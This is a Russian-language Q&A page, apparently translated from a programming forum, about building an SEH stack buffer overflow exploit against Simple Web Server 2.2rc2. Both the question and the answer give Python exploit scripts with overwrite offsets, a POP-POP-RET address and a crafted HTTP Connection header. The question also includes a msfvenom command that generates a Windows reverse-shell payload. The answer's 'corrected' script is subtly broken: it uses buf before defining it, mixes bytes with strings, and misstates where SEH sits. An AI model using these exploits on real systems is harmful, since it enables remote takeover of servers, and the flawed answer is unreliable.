Переполнение буфера стека с использованием SEH в Simple Web Server 2.2rc2

Вопрос или проблема

Я практикуюсь в написании эксплойта для Simple Web Server 2.2rc2.
Я смог:

  • найти правильные смещения для перезаписи SE Handler и Next SEH
  • найти адрес POP, POP, RET

Моя проблема в том, что я не могу выполнить свою оболочку (сгенерированную с помощью msfvenom):

msfvenom –platform windows -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=80 EXITFUNC=thread -b “\x00\x0a\x0d” -f python -v shellcode

Я пытался:

  • разместить свой код сразу после SE Handler
  • добавить к shellcode корректировку стека
  • добавить нулевой слайд перед shellcode

Все, что я вижу в отладчике, это то, что мой shellcode вызывает сбой приложения.

Вот мой текущий код:

#!/usr/bin/python

import socket,struct,os

ip = "192.168.123.2"
port = 80

rsp_offset = 2048
seh_offset = 2280
buf_size   = 2400 

#shellcode= # сгенерирован с помощью msfvenom

buf = "" 
buf+= "A" * (rsp_offset-len(buf)) 
buf+= "BBBB" # EIP 
buf+= "C" * (seh_offset-len(buf)) 
buf+= "\xeb\x07\x90\x90" # Next SEH: JMP +7 к shellcode 
buf+= struct.pack("<I", 0x6FC5447E) # POP,POP,RET 
buf+= "\x90\x83\xec\x20" # корректировка стека
buf+= shellcode
#buf+= "F" * (buf_size-len(buf)) 

req = "GET / HTTP/1.1\r\n" 
req += "Host: 192.168.122.2\r\n" 
req += "Connection:" + buf + "\r\n" 
req += "\r\n" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((ip, port)) 
s.send(req)
s.close()

Может кто-то подсказать, что я делаю не так? Приложение доступно здесь

Ваши смещения корректны? Я быстро взглянул, и вот какие смещения я получил, запуская через Immunity:

[мусор, 2260 байт][Прыжок к эксплойту, 4 байта][pop pop ret, 4 байта][эксплойт, 728 байт]

Мой фрагмент на Python:

exploit="GET / HTTP/1.0\r\n"
exploit += 'Host: 172.16.139.134\r\n'
junk = '\x41' * 2260
jmp = '\xeb\x0b\x90\x90'
ppr="\x7e\x44\xc5\x6f"
break = '\xcc' * 728
exploit += 'Connection: ' + junk + jmp + ppr + break + '\r\n\r\n'

Спасибо

Редактирование: Я вижу, что вы отлаживали, и ваш shellcode вызывает сбой приложения, извините!

Ответ или решение

Для успешной эксплуатации уязвимости Stack Buffer Overflow в Simple Web Server 2.2rc2 с использованием SEH, необходимо убедиться, что все адреса и смещения правильно рассчитаны, а также что ваш шеллкод корректно вставлен и вызван. Давайте подробно рассмотрим возможные ошибки и этапы, которые могут помочь в решении вашей проблемы.

Проверка смещений и адресов

  1. Согласованность смещений: Убедитесь, что вы правильно рассчитали все смещения в вашем буфере. У вас указаны следующие смещения:

    • rsp_offset = 2048
    • seh_offset = 2280
      Обратите внимание, что вы должны проверить, что смещения для EIP и SEH находятся на верных позициях в памяти. Проверьте их при помощи отладчика, чтобы убедиться, что вы не пропустили байты. Например, если ваш буфер заполняется A на 2048 байт, и затем идет BBBB (4 байта для EIP), то следующее управляемое значение SEH должно быть на позиции 2052, а не на 2280.
  2. Корректность адресов: Проверьте, правильно ли указан адрес для POP, POP, RET (в вашем случае 0x6FC5447E). Это адрес может отличаться, и его надо уточнять для конкретной версии программы. Убедитесь, что адрес действительно указывает на необходимую инструкцию.

Вставка шеллкода

  1. Шеллкод: Убедитесь, что ваш шеллкод правильно сгенерирован и не содержит недопустимых символов. Также важно, чтобы длина шеллкода не превышала оставшегося пространства в буфере. После всех ваших A, BBBB, C, и т.д., должно остаться достаточно места для вашего шеллкода.

  2. NOP-слайды: Вы используете NOP-слайды для повышения вероятности успешного исполнения вашего шеллкода. Убедитесь, что перед встроенным шеллкодом есть достаточно NOP-инструкций (например, \x90), чтобы смещение не было критическим. Это улучшит шансы на исполнение.

Исправления в вашем коде

На основании вашего кода, сделали некоторые исправления:

#!/usr/bin/python

import socket
import struct

ip = "192.168.123.2"
port = 80

rsp_offset = 2048  # Смещение до конца буфера
seh_offset = 2280  # Смещение для записи SE Handler
buf_size = 2400

# Замените на ваш сгенерированный шеллкод
shellcode = b""  # вставьте сюда ваш код

# Создаем буфер
buf = b"A" * (rsp_offset - len(buf))  # заполняем до rsp_offset
buf += b"BBBB"  # EIP
buf += b"C" * (seh_offset - len(buf) - 4)  # заполняем до SEH
buf += b"\xeb\x07\x90\x90"  # next SEH: JMP +7 к шеллкоду
buf += struct.pack("<I", 0x6FC5447E)  # POP, POP, RET
buf += b"\x90" * 20  # NOP-sled перед шеллкодом
buf += shellcode  # ваш шеллкод

# Формируем запрос
req = "GET / HTTP/1.1\r\n" 
req += "Host: " + ip + "\r\n" 
req += "Connection: " + buf + "\r\n" 
req += "\r\n" 

# Отправка запроса
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((ip, port)) 
s.send(req.encode())
s.close()

Диагностика

Если приложение все еще аварийно завершает работу при запуске шеллкода:

  1. Отладка: Используйте отладчик (например, Immunity Debugger или x64dbg), чтобы посмотреть, почему шеллкод не выполняется. Убедитесь, что вы попадаете в него, и какие инструкции выполняются перед падением приложения.

  2. Логи: Проверьте логи приложения, если они доступны, чтобы объективно понять, какие ошибки происходят.

  3. Коррекция кода: Если повторные попытки не удаются, вы можете рассмотреть возможность изменения и проверки самих инструкций в вашем шеллкоде.

Ведите тщательный контроль за всеми детальными аспектами и шагами процесса эксплуатации, это поможет вам добиться успеха.

Оцените материал
Добавить комментарий

Капча загружается...